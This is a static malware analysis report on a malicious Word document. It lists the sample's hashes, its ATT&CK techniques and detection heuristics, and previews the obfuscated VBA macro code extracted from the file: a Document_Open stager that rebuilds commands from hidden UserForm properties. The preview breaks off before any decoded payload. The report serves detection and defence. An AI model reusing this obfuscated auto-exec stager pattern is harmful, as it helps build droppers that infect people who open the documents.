Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6a7c41fa9115d1e7…

MALICIOUS

Office (OLE)

206.2 KB Created: 2019-12-19 21:05:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 98a9055479b3f588dbcd50fd94c22192 SHA-1: 59423c4e2c5626223073c395ef0366801268e02f SHA-256: 6a7c41fa9115d1e7264cb5dd42ad8f655ed1bb4392a8bff66b52a077ee653aa3
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of malicious intent. The presence of CreateObject and GetObject calls further suggests the execution of arbitrary code. The primary function appears to be the execution of a hidden command stager, likely to download and execute a secondary payload.

Heuristics 7

  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13392 bytes
SHA-256: 38cf4d50ecacb7d0bb242c2364b2b05e7317bc4599d558f8ffd0427ddb2f8fe3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Ruvkgjsqtr"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Hezfrszq, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   Skycwkpci = "Cora"
Dim Ywmkoflfue As String
Dim Tcyqtmnmljjkd As Boolean
Rmspslkbhki = ("Mario")
Dim Rvnawlezxt As Boolean
Dim Vizpnchfqtt As String
Dim Eojbqgkucuq As Integer
Ordpusxzxc = Uibmtycllr
Dim Ygnkvsnitdnp As String
Zadohlyp = ("Sint et modi culpa consequuntur explicabo temporibus.")
Dim Jhiwokxwuiqne As Double
Dim Eocsqulks As String
Dim Hxklxikp As Double
Kqtifqvtkmv = "Provident facere error."
Dim Cwvwgdywqx As Boolean
Dim Amjkhcpm As Integer
Dim Xijkdqrhmfrn As Integer
Bmelcqttggf = ("Ex rerum cum at.")
Dim Icjfetiymm As String
Ifilhlne = 673
Vyejaaecdf = Jfdzmtzp
Jlulliyu = 980
Bmahzapaao
   Gwnnqgygmwrmx = "Stacy"
Dim Ysskxfckhnefe As Double
Dim Ayfemaslk As Double
Dttrvvpkrlcy = ("Delectus.")
Dim Dmgzlautdvsg As String
Dim Xggipebjrp As String
Dim Ptwwyzekio As Integer
Yuykpxyodd = Ftjwsuvqhc
Dim Whxtcidi As Double
Jvgqttrdgmgl = ("Sherry")
Dim Qhrntvewj As Boolean
Dim Izfmvzepkjn As Integer
Dim Abyewyuk As Boolean
Cvqqozrnlicl = "Doris"
Dim Qlmbwhucqp As Double
Dim Wzzlddsgcrej As Integer
Dim Swcizohnnll As Double
Iyaebcwcrnz = ("Repellat voluptatibus libero ut et quis cumque minus.")
Dim Tnizgdlfoyaip As String
Jmoalojhcn = 870
Tobicdaut = Eigiuaavmel
Zzslkfgld = 691
End Sub

Attribute VB_Name = "Utrxlvrcwebx"
Attribute VB_Base = "0{44902B8D-FE4B-40A4-A71A-5DFA625349E6}{AF1793FC-1227-4761-AB84-326CC0CA1598}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Qowdfpxoitqoe"
Function Nvoyfforo()
   Orpfwvwxinwx = "Ducimus saepe tempore voluptatum qui delectus consequatur."
Dim Opqvyigw As Integer
Dim Yhadzwmloaa As Double
Mxxzroyzayf = ("Est id explicabo iusto.")
Dim Wzqbksxbhout As Integer
Dim Aljrzeadxb As Boolean
Dim Hvnyivefznu As Double
Imnficftcxo = Fuutborvk
Dim Jgzosnmqxcr As Integer
Ypzdvexyhb = ("Ab id et quos.")
Dim Kgmfutxjzw As Integer
Dim Rapkxten As Boolean
Dim Ulpoafepb As Integer
Eigalciuim = "Rerum."
Dim Vmupnbowchc As Double
Dim Pgtrejuw As Integer
Dim Sijmqvtuvry As Boolean
Gqronigx = ("Enim.")
Dim Avwpcdciqbzb As Boolean
Oyainhtc = 688
Mbnuhooqn = Rtgrqsjhsc
Oaohxjybxz = 107
Mxlvbkqxgs = Ruvkgjsqtr.Hezfrszq
   Itktfviwlihh = "Et."
Dim Liqshnyhwfpfo As Boolean
Dim Hdgovaaljtmzi As Double
Tpgcdpryv = ("Micheal")
Dim Bxedzgszefbt As Double
Dim Kwgzuopqomzzm As Boolean
Dim Pelycydhf As Double
Gimcrwfcs = Zabdljseat
Dim Pbquybgpbfoi As Integer
Lvcuktoe = ("Cupiditate expedita.")
Dim Wynuobtmzp As Double
Dim Bcgbmcjt As Integer
Dim Whxxbgjmekwg As String
Nmbzmbir = "Delectus quam."
Dim Tanjhlulxc As Integer
Dim Wramdmlmf As Integer
Dim Fnzbkgll As String
Mdbsafsq = ("Sunt iure ut.")
Dim Vyipkzzyv As Integer
Fyxhwhkjemrx = 20
Nzudhtwumh = Krlgnpyih
Kexhggve = 196
Vfoktdxt = Mxlvbkqxgs + Utrxlvrcwebx.Kfgmtxjpok + Utrxlvrcwebx.Frmtpwekuc + Utrxlvrcwebx.Yqiuhqigvwmvg
   Amjxievzf = "Dolorum aut."
Dim Iggwwlfx As Integer
Dim Ruhpunod As Boolean
Uvyujvdy = ("Soluta ut quia.")
Dim Mmcpphol As Double
Dim Djueisbh As Boolean
Dim Gvqnimhmnbhh As Boolean
Pfrsznydbmxka = Quvkctrvoh
Dim Cxbuwfxpdajha As String
Ueqymnzw = ("A incidunt.")
Dim Wcdxjclxnv As Integer
Dim Sbedejqlnjipw As Integer
Dim Jqlcbvizdurtx As Boolean
Nxxulotijq = "Jared"
Dim Ymtnbrecgbse As Double
Dim Bajmpsndwl As Integer
Dim Gjpicmva As Double
Kgqctvelet = ("Sunt rerum perspiciatis.")
Dim Nszwanhu As Boolean
Vzlumxzgi = 480
Oqdwnzry = Ylgwwiflh
Wckqrzjgmxl = 989
Bgksabrr = Vfoktdxt + Utrxlvrcwebx.Nddadnpnghp + Utrxlvrcwebx.Sulyqhueyptu.Factoid
   Kyozfgcx = "Est odit rem.
... (truncated)

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